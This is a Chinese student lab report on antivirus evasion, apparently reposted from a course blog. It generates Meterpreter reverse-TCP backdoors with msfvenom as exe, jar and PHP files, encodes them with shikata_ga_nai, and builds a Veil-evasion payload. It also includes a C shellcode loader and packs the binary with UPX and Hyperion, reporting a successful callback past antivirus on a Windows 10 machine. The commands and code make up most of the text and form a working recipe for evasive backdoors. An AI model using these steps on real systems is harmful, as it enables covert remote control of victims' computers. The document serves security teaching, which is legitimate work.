NetSec2019 20165327 Exp3 免杀原理与实践

NetSec2019 20165327 Exp3 免杀原理与实践

pre基础问题回答

一、免杀原理

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

二、Q&A

1、杀软是如何检测出恶意代码的?
基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。(非精确)
基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。(非精确)
2、免杀是做什么?
使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
3、免杀的基本方法有哪些?
①改变特征码:对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码。
②改变攻击行为:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。

三、免杀效果评价

利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
环境:
kali IP:10.0.2.15

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

1、使用msf编码器

①用实验二学到的命令生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 -f exe > metyjt.exe

1296452-20190331181954923-1073397476.png

②将生成的程序上传到virus total试试结果

1296452-20190331182317071-1600950108.png

③使用msf编码器对后门程序编码10次,-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.0.2.15 LPORT=5327 -f exe > metyjt-encoded10.exe

1296452-20190331182442002-1574456635.png

④上传到virus total试试免杀操作是否有效
1296452-20190331183348215-422268398.png
神马回事。。。为什么分母还变了?网的问题么?

2. msfvenom生成jar文件

①生成jar后门程序:
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 x> yjt_backdoor_java.jar
②生成文件:
1296452-20190331184021719-1447402190.png
1296452-20190331184139619-248830063.png

③扫描结果:
1296452-20190331184658840-834231875.png

3. msfvenom生成php文件

①生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 x> yjt_backdoor.php
②生成文件:
1296452-20190331184311808-1561020040.png
1296452-20190331184337488-1167469444.png
③扫描结果:
1296452-20190331184909517-1572478691.png
有、、意思了

4. 使用veil-evasion生成后门程序及检测

打开veil:1296452-20190331185339140-1696637366.png

use evasion
use c/meterpreter/rev_tcp.py
set LHOST 10.0.2.15
set LPORT 5327
options

结果:
1296452-20190331190447907-645200406.png

输入generate生成文件,接着输入你想要playload的名字:veil_c_5327
生成文件:
1296452-20190331190615955-1200521358.png

扫描结果:

1296452-20190331191200580-1938836846.png
我操作应该没问题啊为什么和别人不一样
我是该笑还是哭。。。

5. 半手工注入Shellcode并执行

首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 -f c用c语言生成一段shellcode;
1296452-20190331203130011-306876573.png

创建一个文件20165327.c,然后将unsigned char buf[]赋值到其中,代码如下:

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
……
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
;

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

使用命令:i686-w64-mingw32-g++ 20165327.c -o 20165327.exe编译这个.c文件为可执行文件;
1296452-20190331203743296-160529850.png

扫描结果:
1296452-20190331204434376-206008896.png

使用windows上执行该程序时:

1296452-20190331205505694-12238256.png
这是可以的意思吗?! 我的电脑除了管家没专业杀毒软件……
快速扫描:
1296452-20190331210013287-847129926.png
自定义扫描:
1296452-20190331210135874-928660438.png
这下总算扫到了。。。

6.加壳尝试一下

给之前的20165327.exe加个壳得到yjt_upxed.exe:upx 20165327.exe -o yjt_upxed.exe

1296452-20190331212706984-1256328573.png
扫描结果:
1296452-20190331213045644-282690832.png

1296452-20190331212823768-57130567.png

因为要回连,将yjt_upxed.exe放到了ncat文件夹里,查看连接情况
1296452-20190331215340268-1065792136.png

1296452-20190331215614763-1247215162.png

加密壳Hyperion

将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
进入目录/usr/share/windows-binaries/hyperion/中
输入命令wine hyperion.exe -v yjt_upxed.exe yjt_upxed_Hyperion.exe进行加壳:

1296452-20190331221002630-1975352729.png

扫描一下:
1296452-20190331221303115-561219966.png

1296452-20190331221314367-296536082.png

任务二:通过组合应用各种技术实现恶意代码免杀

任务一已做

1296452-20190331213045644-282690832.png

1296452-20190331221746434-923650866.png

任务三:(用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本)

免杀方法:20165327.exe,再使用压缩壳和加密壳进行加壳。
实验环境:对方win10本机,联想电脑管家
回连成功后:
1296452-20190611221036208-1199556808.png

一直出现的问题:注入半手工shellcode虽然能降低查杀率,但是貌似不能回连,怎么回事。。。

转载于:https://www.cnblogs.com/yjtblog/p/10629167.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值